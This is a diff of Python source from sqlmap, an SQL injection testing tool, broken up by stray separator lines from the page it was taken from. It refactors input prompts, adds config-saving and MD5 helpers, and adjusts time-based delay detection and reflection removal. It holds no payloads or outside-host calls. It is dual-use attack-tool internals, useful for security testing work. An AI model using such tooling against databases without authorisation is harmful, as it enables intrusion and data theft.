retVal = retVal.replace(2 * split, split)
|
||||||
retVal = htmlunescape(retVal.strip())
|
retVal = htmlunescape(retVal.strip().strip(split))
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
@@ -1949,10 +1994,10 @@ def getSQLSnippet(dbms, sfile, **variables):
|
|||||||
|
|
||||||
retVal = readCachedFileContent(filename)
|
retVal = readCachedFileContent(filename)
|
||||||
retVal = re.sub(r"#.+", "", retVal)
|
retVal = re.sub(r"#.+", "", retVal)
|
||||||
retVal = re.sub(r"(?s);\s+", "; ", retVal).strip("\r\n")
|
retVal = re.sub(r";\s+", "; ", retVal).strip("\r\n")
|
||||||
|
|
||||||
for _ in variables.keys():
|
for _ in variables.keys():
|
||||||
retVal = re.sub(r"%%%s%%" % _, variables[_], retVal)
|
retVal = re.sub(r"%%%s%%" % _, variables[_].replace('\\', r'\\'), retVal)
|
||||||
|
|
||||||
for _ in re.findall(r"%RANDSTR\d+%", retVal, re.I):
|
for _ in re.findall(r"%RANDSTR\d+%", retVal, re.I):
|
||||||
retVal = retVal.replace(_, randomStr())
|
retVal = retVal.replace(_, randomStr())
|
||||||
@@ -1967,9 +2012,8 @@ def getSQLSnippet(dbms, sfile, **variables):
|
|||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
|
|
||||||
msg = "do you want to provide the substitution values? [y/N] "
|
msg = "do you want to provide the substitution values? [y/N] "
|
||||||
choice = readInput(msg, default="N")
|
|
||||||
|
|
||||||
if choice and choice[0].lower() == "y":
|
if readInput(msg, default='N', boolean=True):
|
||||||
for var in variables:
|
for var in variables:
|
||||||
msg = "insert value for variable '%s': " % var
|
msg = "insert value for variable '%s': " % var
|
||||||
val = readInput(msg, default="")
|
val = readInput(msg, default="")
|
||||||
@@ -2080,6 +2124,9 @@ def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, un
|
|||||||
|
|
||||||
retVal = list() if not unique else OrderedDict()
|
retVal = list() if not unique else OrderedDict()
|
||||||
|
|
||||||
|
if filename:
|
||||||
|
filename = filename.strip('"\'')
|
||||||
|
|
||||||
checkFile(filename)
|
checkFile(filename)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
@@ -2327,7 +2374,7 @@ def wasLastResponseDBMSError():
|
|||||||
|
|
||||||
def wasLastResponseHTTPError():
|
def wasLastResponseHTTPError():
|
||||||
"""
|
"""
|
||||||
Returns True if the last web request resulted in an errornous HTTP code (like 500)
|
Returns True if the last web request resulted in an erroneous HTTP code (like 500)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
threadData = getCurrentThreadData()
|
threadData = getCurrentThreadData()
|
||||||
@@ -2345,7 +2392,7 @@ def wasLastResponseDelayed():
|
|||||||
deviation = stdev(kb.responseTimes.get(kb.responseTimeMode, []))
|
deviation = stdev(kb.responseTimes.get(kb.responseTimeMode, []))
|
||||||
threadData = getCurrentThreadData()
|
threadData = getCurrentThreadData()
|
||||||
|
|
||||||
if deviation and not conf.direct:
|
if deviation and not conf.direct and not conf.disableStats:
|
||||||
if len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES:
|
if len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES:
|
||||||
warnMsg = "time-based standard deviation method used on a model "
|
warnMsg = "time-based standard deviation method used on a model "
|
||||||
warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES
|
warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES
|
||||||
@@ -2358,14 +2405,17 @@ def wasLastResponseDelayed():
|
|||||||
if kb.adjustTimeDelay is None:
|
if kb.adjustTimeDelay is None:
|
||||||
msg = "do you want sqlmap to try to optimize value(s) "
|
msg = "do you want sqlmap to try to optimize value(s) "
|
||||||
msg += "for DBMS delay responses (option '--time-sec')? [Y/n] "
|
msg += "for DBMS delay responses (option '--time-sec')? [Y/n] "
|
||||||
choice = readInput(msg, default='Y')
|
|
||||||
kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if choice.upper() == 'N' else ADJUST_TIME_DELAY.YES
|
kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if not readInput(msg, default='Y', boolean=True) else ADJUST_TIME_DELAY.YES
|
||||||
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
|
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
|
||||||
adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit)
|
adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
else:
|
else:
|
||||||
return (threadData.lastQueryDuration - conf.timeSec) >= 0
|
delta = threadData.lastQueryDuration - conf.timeSec
|
||||||
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # MySQL's SLEEP(X) lasts 0.05 seconds shorter on average
|
||||||
|
delta += 0.05
|
||||||
|
return delta >= 0
|
||||||
|
|
||||||
def adjustTimeDelay(lastQueryDuration, lowerStdLimit):
|
def adjustTimeDelay(lastQueryDuration, lowerStdLimit):
|
||||||
"""
|
"""
|
||||||
@@ -2524,7 +2574,7 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
|
|||||||
# corner case when character % really needs to be
|
# corner case when character % really needs to be
|
||||||
# encoded (when not representing URL encoded char)
|
# encoded (when not representing URL encoded char)
|
||||||
# except in cases when tampering scripts are used
|
# except in cases when tampering scripts are used
|
||||||
if all(map(lambda x: '%' in x, [safe, value])) and not kb.tamperFunctions:
|
if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions:
|
||||||
value = re.sub("%(?![0-9a-fA-F]{2})", "%25", value)
|
value = re.sub("%(?![0-9a-fA-F]{2})", "%25", value)
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
@@ -2576,18 +2626,19 @@ def runningAsAdmin():
|
|||||||
|
|
||||||
return isAdmin
|
return isAdmin
|
||||||
|
|
||||||
def logHTTPTraffic(requestLogMsg, responseLogMsg):
|
def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None):
|
||||||
"""
|
"""
|
||||||
Logs HTTP traffic to the output file
|
Logs HTTP traffic to the output file
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if not conf.trafficFile:
|
if conf.harFile:
|
||||||
return
|
conf.httpCollector.collectRequest(requestLogMsg, responseLogMsg, startTime, endTime)
|
||||||
|
|
||||||
with kb.locks.log:
|
if conf.trafficFile:
|
||||||
dataToTrafficFile("%s%s" % (requestLogMsg, os.linesep))
|
with kb.locks.log:
|
||||||
dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep))
|
dataToTrafficFile("%s%s" % (requestLogMsg, os.linesep))
|
||||||
dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep))
|
dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep))
|
||||||
|
dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep))
|
||||||
|
|
||||||
def getPageTemplate(payload, place): # Cross-linked function
|
def getPageTemplate(payload, place): # Cross-linked function
|
||||||
raise NotImplementedError
|
raise NotImplementedError
|
||||||
@@ -2604,7 +2655,7 @@ def getPublicTypeMembers(type_, onlyValues=False):
|
|||||||
retVal = []
|
retVal = []
|
||||||
|
|
||||||
for name, value in inspect.getmembers(type_):
|
for name, value in inspect.getmembers(type_):
|
||||||
if not name.startswith('__'):
|
if not name.startswith("__"):
|
||||||
if not onlyValues:
|
if not onlyValues:
|
||||||
retVal.append((name, value))
|
retVal.append((name, value))
|
||||||
else:
|
else:
|
||||||
@@ -2664,7 +2715,7 @@ def extractTextTagContent(page):
|
|||||||
except MemoryError:
|
except MemoryError:
|
||||||
page = page.replace(REFLECTED_VALUE_MARKER, "")
|
page = page.replace(REFLECTED_VALUE_MARKER, "")
|
||||||
|
|
||||||
return filter(None, (_.group('result').strip() for _ in re.finditer(TEXT_TAG_REGEX, page)))
|
return filter(None, (_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page)))
|
||||||
|
|
||||||
def trimAlphaNum(value):
|
def trimAlphaNum(value):
|
||||||
"""
|
"""
|
||||||
@@ -2776,11 +2827,11 @@ def removeDynamicContent(page):
|
|||||||
if prefix is None and suffix is None:
|
if prefix is None and suffix is None:
|
||||||
continue
|
continue
|
||||||
elif prefix is None:
|
elif prefix is None:
|
||||||
page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix.replace('\\', r'\\'), page)
|
page = re.sub(r"(?s)^.+%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page)
|
||||||
elif suffix is None:
|
elif suffix is None:
|
||||||
page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix.replace('\\', r'\\'), page)
|
page = re.sub(r"(?s)%s.+$" % re.escape(prefix), prefix.replace('\\', r'\\'), page)
|
||||||
else:
|
else:
|
||||||
page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page)
|
page = re.sub(r"(?s)%s.+%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page)
|
||||||
|
|
||||||
return page
|
return page
|
||||||
|
|
||||||
@@ -2917,6 +2968,58 @@ def setOptimize():
|
|||||||
debugMsg = "turning off switch '--null-connection' used indirectly by switch '-o'"
|
debugMsg = "turning off switch '--null-connection' used indirectly by switch '-o'"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
def saveConfig(conf, filename):
|
||||||
|
"""
|
||||||
|
Saves conf to configuration filename
|
||||||
|
"""
|
||||||
|
|
||||||
|
config = UnicodeRawConfigParser()
|
||||||
|
userOpts = {}
|
||||||
|
|
||||||
|
for family in optDict.keys():
|
||||||
|
userOpts[family] = []
|
||||||
|
|
||||||
|
for option, value in conf.items():
|
||||||
|
for family, optionData in optDict.items():
|
||||||
|
if option in optionData:
|
||||||
|
userOpts[family].append((option, value, optionData[option]))
|
||||||
|
|
||||||
|
for family, optionData in userOpts.items():
|
||||||
|
config.add_section(family)
|
||||||
|
|
||||||
|
optionData.sort()
|
||||||
|
|
||||||
|
for option, value, datatype in optionData:
|
||||||
|
if datatype and isListLike(datatype):
|
||||||
|
datatype = datatype[0]
|
||||||
|
|
||||||
|
if option in IGNORE_SAVE_OPTIONS:
|
||||||
|
continue
|
||||||
|
|
||||||
|
if value is None:
|
||||||
|
if datatype == OPTION_TYPE.BOOLEAN:
|
||||||
|
value = "False"
|
||||||
|
elif datatype in (OPTION_TYPE.INTEGER, OPTION_TYPE.FLOAT):
|
||||||
|
if option in defaults:
|
||||||
|
value = str(defaults[option])
|
||||||
|
else:
|
||||||
|
value = "0"
|
||||||
|
elif datatype == OPTION_TYPE.STRING:
|
||||||
|
value = ""
|
||||||
|
|
||||||
|
if isinstance(value, basestring):
|
||||||
|
value = value.replace("\n", "\n ")
|
||||||
|
|
||||||
|
config.set(family, option, value)
|
||||||
|
|
||||||
|
with openFile(filename, "wb") as f:
|
||||||
|
try:
|
||||||
|
config.write(f)
|
||||||
|
except IOError, ex:
|
||||||
|
errMsg = "something went wrong while trying "
|
||||||
|
errMsg += "to write to the configuration file '%s' ('%s')" % (filename, getSafeExString(ex))
|
||||||
|
raise SqlmapSystemException(errMsg)
|
||||||
|
|
||||||
def initTechnique(technique=None):
|
def initTechnique(technique=None):
|
||||||
"""
|
"""
|
||||||
Prepares data for technique specified
|
Prepares data for technique specified
|
||||||
@@ -3104,13 +3207,13 @@ def decodeIntToUnicode(value):
|
|||||||
|
|
||||||
if Backend.isDbms(DBMS.MYSQL):
|
if Backend.isDbms(DBMS.MYSQL):
|
||||||
# https://github.com/sqlmapproject/sqlmap/issues/1531
|
# https://github.com/sqlmapproject/sqlmap/issues/1531
|
||||||
retVal = getUnicode(raw, conf.charset or UNICODE_ENCODING)
|
retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING)
|
||||||
elif Backend.isDbms(DBMS.MSSQL):
|
elif Backend.isDbms(DBMS.MSSQL):
|
||||||
retVal = getUnicode(raw, "UTF-16-BE")
|
retVal = getUnicode(raw, "UTF-16-BE")
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE):
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE):
|
||||||
retVal = unichr(value)
|
retVal = unichr(value)
|
||||||
else:
|
else:
|
||||||
retVal = getUnicode(raw, conf.charset)
|
retVal = getUnicode(raw, conf.encoding)
|
||||||
else:
|
else:
|
||||||
retVal = getUnicode(chr(value))
|
retVal = getUnicode(chr(value))
|
||||||
except:
|
except:
|
||||||
@@ -3118,11 +3221,29 @@ def decodeIntToUnicode(value):
|
|||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
def md5File(filename):
|
||||||
|
"""
|
||||||
|
Calculates MD5 digest of a file
|
||||||
|
Reference: http://stackoverflow.com/a/3431838
|
||||||
|
"""
|
||||||
|
|
||||||
|
checkFile(filename)
|
||||||
|
|
||||||
|
digest = hashlib.md5()
|
||||||
|
with open(filename, "rb") as f:
|
||||||
|
for chunk in iter(lambda: f.read(4096), ""):
|
||||||
|
digest.update(chunk)
|
||||||
|
|
||||||
|
return digest.hexdigest()
|
||||||
|
|
||||||
def checkIntegrity():
|
def checkIntegrity():
|
||||||
"""
|
"""
|
||||||
Checks integrity of code files during the unhandled exceptions
|
Checks integrity of code files during the unhandled exceptions
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if not paths:
|
||||||
|
return
|
||||||
|
|
||||||
logger.debug("running code integrity check")
|
logger.debug("running code integrity check")
|
||||||
|
|
||||||
retVal = True
|
retVal = True
|
||||||
@@ -3131,7 +3252,7 @@ def checkIntegrity():
|
|||||||
if not os.path.isfile(path):
|
if not os.path.isfile(path):
|
||||||
logger.error("missing file detected '%s'" % path)
|
logger.error("missing file detected '%s'" % path)
|
||||||
retVal = False
|
retVal = False
|
||||||
elif hashlib.md5(open(path, 'rb').read()).hexdigest() != checksum:
|
elif md5File(path) != checksum:
|
||||||
logger.error("wrong checksum of file '%s' detected" % path)
|
logger.error("wrong checksum of file '%s' detected" % path)
|
||||||
retVal = False
|
retVal = False
|
||||||
return retVal
|
return retVal
|
||||||
@@ -3193,11 +3314,11 @@ def createGithubIssue(errMsg, excMsg):
|
|||||||
msg += "with the unhandled exception information at "
|
msg += "with the unhandled exception information at "
|
||||||
msg += "the official Github repository? [y/N] "
|
msg += "the official Github repository? [y/N] "
|
||||||
try:
|
try:
|
||||||
test = readInput(msg, default="N")
|
choice = readInput(msg, default='N', boolean=True)
|
||||||
except:
|
except:
|
||||||
test = None
|
choice = None
|
||||||
|
|
||||||
if test and test[0] in ("y", "Y"):
|
if choice:
|
||||||
ex = None
|
ex = None
|
||||||
errMsg = errMsg[errMsg.find("\n"):]
|
errMsg = errMsg[errMsg.find("\n"):]
|
||||||
|
|
||||||
@@ -3361,11 +3482,32 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
|
|||||||
else:
|
else:
|
||||||
regex = r"%s\b" % regex
|
regex = r"%s\b" % regex
|
||||||
|
|
||||||
retVal = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, retVal)
|
_retVal = [retVal]
|
||||||
|
def _thread(regex):
|
||||||
|
try:
|
||||||
|
_retVal[0] = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, _retVal[0])
|
||||||
|
|
||||||
if len(parts) > 2:
|
if len(parts) > 2:
|
||||||
regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:])
|
regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:])
|
||||||
retVal = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, retVal)
|
_retVal[0] = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, _retVal[0])
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
raise
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
thread = threading.Thread(target=_thread, args=(regex,))
|
||||||
|
thread.daemon = True
|
||||||
|
thread.start()
|
||||||
|
thread.join(REFLECTED_REPLACEMENT_TIMEOUT)
|
||||||
|
|
||||||
|
if thread.isAlive():
|
||||||
|
kb.reflectiveMechanism = False
|
||||||
|
retVal = content
|
||||||
|
if not suppressWarning:
|
||||||
|
debugMsg = "turning off reflection removal mechanism (because of timeouts)"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
else:
|
||||||
|
retVal = _retVal[0]
|
||||||
|
|
||||||
if retVal != content:
|
if retVal != content:
|
||||||
kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1
|
kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1
|
||||||
@@ -3422,11 +3564,11 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
|||||||
if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ("." if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
|
if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ("." if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
|
||||||
retVal = "`%s`" % retVal.strip("`")
|
retVal = "`%s`" % retVal.strip("`")
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2):
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB):
|
||||||
retVal = "\"%s\"" % retVal.strip("\"")
|
retVal = "\"%s\"" % retVal.strip("\"")
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
|
||||||
retVal = "\"%s\"" % retVal.strip("\"").upper()
|
retVal = "\"%s\"" % retVal.strip("\"").upper()
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,) and ((retVal or " ")[0].isdigit() or not re.match(r"\A\w+\Z", retVal, re.U)):
|
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and ((retVal or " ")[0].isdigit() or not re.match(r"\A\w+\Z", retVal, re.U)):
|
||||||
retVal = "[%s]" % retVal.strip("[]")
|
retVal = "[%s]" % retVal.strip("[]")
|
||||||
|
|
||||||
if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
|
if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
|
||||||
@@ -3444,11 +3586,11 @@ def unsafeSQLIdentificatorNaming(name):
|
|||||||
if isinstance(name, basestring):
|
if isinstance(name, basestring):
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
|
||||||
retVal = name.replace("`", "")
|
retVal = name.replace("`", "")
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2):
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB):
|
||||||
retVal = name.replace("\"", "")
|
retVal = name.replace("\"", "")
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
|
||||||
retVal = name.replace("\"", "").upper()
|
retVal = name.replace("\"", "").upper()
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,):
|
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
retVal = name.replace("[", "").replace("]", "")
|
retVal = name.replace("[", "").replace("]", "")
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
@@ -3633,13 +3775,31 @@ def randomizeParameterValue(value):
|
|||||||
value = re.sub(r"%[0-9a-fA-F]{2}", "", value)
|
value = re.sub(r"%[0-9a-fA-F]{2}", "", value)
|
||||||
|
|
||||||
for match in re.finditer('[A-Z]+', value):
|
for match in re.finditer('[A-Z]+', value):
|
||||||
retVal = retVal.replace(match.group(), randomStr(len(match.group())).upper())
|
while True:
|
||||||
|
original = match.group()
|
||||||
|
candidate = randomStr(len(match.group())).upper()
|
||||||
|
if original != candidate:
|
||||||
|
break
|
||||||
|
|
||||||
|
retVal = retVal.replace(original, candidate)
|
||||||
|
|
||||||
for match in re.finditer('[a-z]+', value):
|
for match in re.finditer('[a-z]+', value):
|
||||||
retVal = retVal.replace(match.group(), randomStr(len(match.group())).lower())
|
while True:
|
||||||
|
original = match.group()
|
||||||
|
candidate = randomStr(len(match.group())).lower()
|
||||||
|
if original != candidate:
|
||||||
|
break
|
||||||
|
|
||||||
|
retVal = retVal.replace(original, candidate)
|
||||||
|
|
||||||
for match in re.finditer('[0-9]+', value):
|
for match in re.finditer('[0-9]+', value):
|
||||||
retVal = retVal.replace(match.group(), str(randomInt(len(match.group()))))
|
while True:
|
||||||
|
original = match.group()
|
||||||
|
candidate = str(randomInt(len(match.group())))
|
||||||
|
if original != candidate:
|
||||||
|
break
|
||||||
|
|
||||||
|
retVal = retVal.replace(original, candidate)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
@@ -4002,7 +4162,7 @@ def decodeHexValue(value, raw=False):
|
|||||||
retVal = value
|
retVal = value
|
||||||
if value and isinstance(value, basestring):
|
if value and isinstance(value, basestring):
|
||||||
if len(value) % 2 != 0:
|
if len(value) % 2 != 0:
|
||||||
retVal = "%s?" % hexdecode(value[:-1])
|
retVal = "%s?" % hexdecode(value[:-1]) if len(value) > 1 else value
|
||||||
singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value)
|
singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value)
|
||||||
else:
|
else:
|
||||||
retVal = hexdecode(value)
|
retVal = hexdecode(value)
|
||||||
@@ -4256,6 +4416,9 @@ def getSafeExString(ex, encoding=None):
|
|||||||
"""
|
"""
|
||||||
Safe way how to get the proper exception represtation as a string
|
Safe way how to get the proper exception represtation as a string
|
||||||
(Note: errors to be avoided: 1) "%s" % Exception(u'\u0161') and 2) "%s" % str(Exception(u'\u0161'))
|
(Note: errors to be avoided: 1) "%s" % Exception(u'\u0161') and 2) "%s" % str(Exception(u'\u0161'))
|
||||||
|
|
||||||
|
>>> getSafeExString(Exception('foobar'))
|
||||||
|
u'foobar'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = ex
|
retVal = ex
|
||||||
@@ -4265,4 +4428,4 @@ def getSafeExString(ex, encoding=None):
|
|||||||
elif getattr(ex, "msg", None):
|
elif getattr(ex, "msg", None):
|
||||||
retVal = ex.msg
|
retVal = ex.msg
|
||||||
|
|
||||||
return getUnicode(retVal, encoding=encoding)
|
return getUnicode(retVal or "", encoding=encoding).strip()
|
||||||
|
|||||||
+2
-2
@@ -110,7 +110,7 @@ def hexdecode(value):
|
|||||||
value = value.lower()
|
value = value.lower()
|
||||||
return (value[2:] if value.startswith("0x") else value).decode("hex")
|
return (value[2:] if value.startswith("0x") else value).decode("hex")
|
||||||
|
|
||||||
def hexencode(value):
|
def hexencode(value, encoding=None):
|
||||||
"""
|
"""
|
||||||
Encodes string value from plain to hex format
|
Encodes string value from plain to hex format
|
||||||
|
|
||||||
@@ -118,7 +118,7 @@ def hexencode(value):
|
|||||||
'666f6f626172'
|
'666f6f626172'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return utf8encode(value).encode("hex")
|
return unicodeencode(value, encoding).encode("hex")
|
||||||
|
|
||||||
def unicodeencode(value, encoding=None):
|
def unicodeencode(value, encoding=None):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ See the file 'doc/COPYING' for copying permission
|
|||||||
from lib.core.datatype import AttribDict
|
from lib.core.datatype import AttribDict
|
||||||
|
|
||||||
_defaults = {
|
_defaults = {
|
||||||
"csvDel": ",",
|
"csvDel": ',',
|
||||||
"timeSec": 5,
|
"timeSec": 5,
|
||||||
"googlePage": 1,
|
"googlePage": 1,
|
||||||
"verbose": 1,
|
"verbose": 1,
|
||||||
|
|||||||
@@ -272,8 +272,10 @@ DEPRECATED_OPTIONS = {
|
|||||||
"--no-unescape": "use '--no-escape' instead",
|
"--no-unescape": "use '--no-escape' instead",
|
||||||
"--binary": "use '--binary-fields' instead",
|
"--binary": "use '--binary-fields' instead",
|
||||||
"--auth-private": "use '--auth-file' instead",
|
"--auth-private": "use '--auth-file' instead",
|
||||||
|
"--ignore-401": "use '--ignore-code' instead",
|
||||||
"--check-payload": None,
|
"--check-payload": None,
|
||||||
"--check-waf": None,
|
"--check-waf": None,
|
||||||
|
"--pickled-options": "use '--api -c ...' instead",
|
||||||
}
|
}
|
||||||
|
|
||||||
DUMP_DATA_PREPROCESS = {
|
DUMP_DATA_PREPROCESS = {
|
||||||
|
|||||||
+9
-9
@@ -63,7 +63,7 @@ class Dump(object):
|
|||||||
self._lock = threading.Lock()
|
self._lock = threading.Lock()
|
||||||
|
|
||||||
def _write(self, data, newline=True, console=True, content_type=None):
|
def _write(self, data, newline=True, console=True, content_type=None):
|
||||||
if hasattr(conf, "api"):
|
if conf.api:
|
||||||
dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
|
dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
|
||||||
return
|
return
|
||||||
|
|
||||||
@@ -110,7 +110,7 @@ class Dump(object):
|
|||||||
def string(self, header, data, content_type=None, sort=True):
|
def string(self, header, data, content_type=None, sort=True):
|
||||||
kb.stickyLevel = None
|
kb.stickyLevel = None
|
||||||
|
|
||||||
if hasattr(conf, "api"):
|
if conf.api:
|
||||||
self._write(data, content_type=content_type)
|
self._write(data, content_type=content_type)
|
||||||
return
|
return
|
||||||
|
|
||||||
@@ -144,7 +144,7 @@ class Dump(object):
|
|||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
if hasattr(conf, "api"):
|
if conf.api:
|
||||||
self._write(elements, content_type=content_type)
|
self._write(elements, content_type=content_type)
|
||||||
return
|
return
|
||||||
|
|
||||||
@@ -193,7 +193,7 @@ class Dump(object):
|
|||||||
users = userSettings.keys()
|
users = userSettings.keys()
|
||||||
users.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
|
users.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x)
|
||||||
|
|
||||||
if hasattr(conf, "api"):
|
if conf.api:
|
||||||
self._write(userSettings, content_type=content_type)
|
self._write(userSettings, content_type=content_type)
|
||||||
return
|
return
|
||||||
|
|
||||||
@@ -227,7 +227,7 @@ class Dump(object):
|
|||||||
|
|
||||||
def dbTables(self, dbTables):
|
def dbTables(self, dbTables):
|
||||||
if isinstance(dbTables, dict) and len(dbTables) > 0:
|
if isinstance(dbTables, dict) and len(dbTables) > 0:
|
||||||
if hasattr(conf, "api"):
|
if conf.api:
|
||||||
self._write(dbTables, content_type=CONTENT_TYPE.TABLES)
|
self._write(dbTables, content_type=CONTENT_TYPE.TABLES)
|
||||||
return
|
return
|
||||||
|
|
||||||
@@ -270,7 +270,7 @@ class Dump(object):
|
|||||||
|
|
||||||
def dbTableColumns(self, tableColumns, content_type=None):
|
def dbTableColumns(self, tableColumns, content_type=None):
|
||||||
if isinstance(tableColumns, dict) and len(tableColumns) > 0:
|
if isinstance(tableColumns, dict) and len(tableColumns) > 0:
|
||||||
if hasattr(conf, "api"):
|
if conf.api:
|
||||||
self._write(tableColumns, content_type=content_type)
|
self._write(tableColumns, content_type=content_type)
|
||||||
return
|
return
|
||||||
|
|
||||||
@@ -344,7 +344,7 @@ class Dump(object):
|
|||||||
|
|
||||||
def dbTablesCount(self, dbTables):
|
def dbTablesCount(self, dbTables):
|
||||||
if isinstance(dbTables, dict) and len(dbTables) > 0:
|
if isinstance(dbTables, dict) and len(dbTables) > 0:
|
||||||
if hasattr(conf, "api"):
|
if conf.api:
|
||||||
self._write(dbTables, content_type=CONTENT_TYPE.COUNT)
|
self._write(dbTables, content_type=CONTENT_TYPE.COUNT)
|
||||||
return
|
return
|
||||||
|
|
||||||
@@ -403,7 +403,7 @@ class Dump(object):
|
|||||||
db = "All"
|
db = "All"
|
||||||
table = tableValues["__infos__"]["table"]
|
table = tableValues["__infos__"]["table"]
|
||||||
|
|
||||||
if hasattr(conf, "api"):
|
if conf.api:
|
||||||
self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
|
self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
|
||||||
return
|
return
|
||||||
|
|
||||||
@@ -666,7 +666,7 @@ class Dump(object):
|
|||||||
logger.warn(msg)
|
logger.warn(msg)
|
||||||
|
|
||||||
def dbColumns(self, dbColumnsDict, colConsider, dbs):
|
def dbColumns(self, dbColumnsDict, colConsider, dbs):
|
||||||
if hasattr(conf, "api"):
|
if conf.api:
|
||||||
self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS)
|
